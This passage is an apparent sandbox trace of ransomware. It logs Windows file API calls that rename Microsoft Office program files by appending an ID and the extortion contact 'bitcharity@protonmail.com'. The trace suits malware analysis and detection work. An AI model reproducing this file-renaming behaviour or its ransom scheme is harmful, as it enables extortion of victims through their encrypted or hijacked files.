liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msaccess.exe.manifest.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.exe.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.324] CloseHandle (hObject=0xff8) returned 1 [0270.326] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.326] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7cm_en.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mscss7cm_en.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.327] CloseHandle (hObject=0xff8) returned 1 [0270.328] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.328] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7cm_es.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mscss7cm_es.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.328] CloseHandle (hObject=0xff8) returned 1 [0270.330] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.330] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7cm_fr.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mscss7cm_fr.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.330] CloseHandle (hObject=0xff8) returned 1 [0270.334] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.334] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7wre_en.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mscss7wre_en.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.334] CloseHandle (hObject=0xff8) returned 1 [0270.338] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.338] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7wre_es.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mscss7wre_es.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.338] CloseHandle (hObject=0xff8) returned 1 [0270.340] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.340] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mscss7wre_fr.dub.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mscss7wre_fr.dub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.340] CloseHandle (hObject=0xff8) returned 1 [0270.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7db.kic" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7db.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7db.kic.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7db.kic.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7en.kic" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7en.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7en.kic.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7en.kic.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.352] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.352] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7es.kic.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7es.kic.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.352] CloseHandle (hObject=0xff8) returned 1 [0270.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7fr.kic" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7fr.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7fr.kic.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7fr.kic.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7ge.kic" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7ge.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7ge.kic.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7ge.kic.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7jp.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7jp.kic.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7jp.kic.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.620] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.620] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoutilstat.etw.man.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.620] CloseHandle (hObject=0xff8) returned 1 [0270.621] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.621] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUTL.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoutl.olb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.621] CloseHandle (hObject=0xff8) returned 1 [0270.624] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.624] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPPT.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msppt.olb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.624] CloseHandle (hObject=0xff8) returned 1 [0270.627] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.627] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPRJ.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msprj.olb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.628] CloseHandle (hObject=0xff8) returned 1 [0270.629] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPST32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspst32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPST32.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspst32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.630] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.631] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.631] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mspub.exe.manifest.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.exe.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.631] CloseHandle (hObject=0xff8) returned 1 [0270.635] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.635] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSWORD.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msword.olb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.636] CloseHandle (hObject=0xff8) returned 1 [0270.637] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.637] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\muauth.cab.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.638] CloseHandle (hObject=0xff8) returned 1 [0270.638] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.638] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mysl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.639] CloseHandle (hObject=0xff8) returned 1 [0270.642] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.642] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NativeHostAnnotationApp.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nativehostannotationapp.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.642] CloseHandle (hObject=0xff8) returned 1 [0270.643] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.643] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NativeHostPollApp.xap.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nativehostpollapp.xap.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.643] CloseHandle (hObject=0xff8) returned 1 [0270.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7Data0011.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7data0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7Data0011.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7data0011.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7Lexicons0011.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7lexicons0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7Lexicons0011.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7lexicons0011.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7MODELS0009.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7models0009.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7MODELS0009.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7models0009.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7MODELS000A.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7models000a.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7MODELS000A.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7models000a.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7MODELS000C.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7models000c.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7MODELS000C.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7models000c.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7Models0011.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7models0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NL7Models0011.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\nl7models0011.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0271.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALNDR98.POC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\calndr98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALNDR98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\calndr98.poc.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0271.112] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.112] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALSO11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\calso11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.112] CloseHandle (hObject=0x1268) returned 1 [0271.113] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.113] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CALSO98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\calso98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.113] CloseHandle (hObject=0x1268) returned 1 [0271.114] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.114] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CATALOG.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\catalog.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.114] CloseHandle (hObject=0x1268) returned 1 [0271.115] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.115] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CATWIZ.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\catwiz.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.115] CloseHandle (hObject=0x1268) returned 1 [0271.117] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.117] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CATWIZ11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\catwiz11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.117] CloseHandle (hObject=0xff8) returned 1 [0271.119] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.119] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CERT.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\cert.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.119] CloseHandle (hObject=0xff8) returned 1 [0271.120] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.120] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CERT98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\cert98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.120] CloseHandle (hObject=0xff8) returned 1 [0271.122] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.122] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\CERT98SP.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\cert98sp.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.122] CloseHandle (hObject=0xff8) returned 1 [0271.123] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 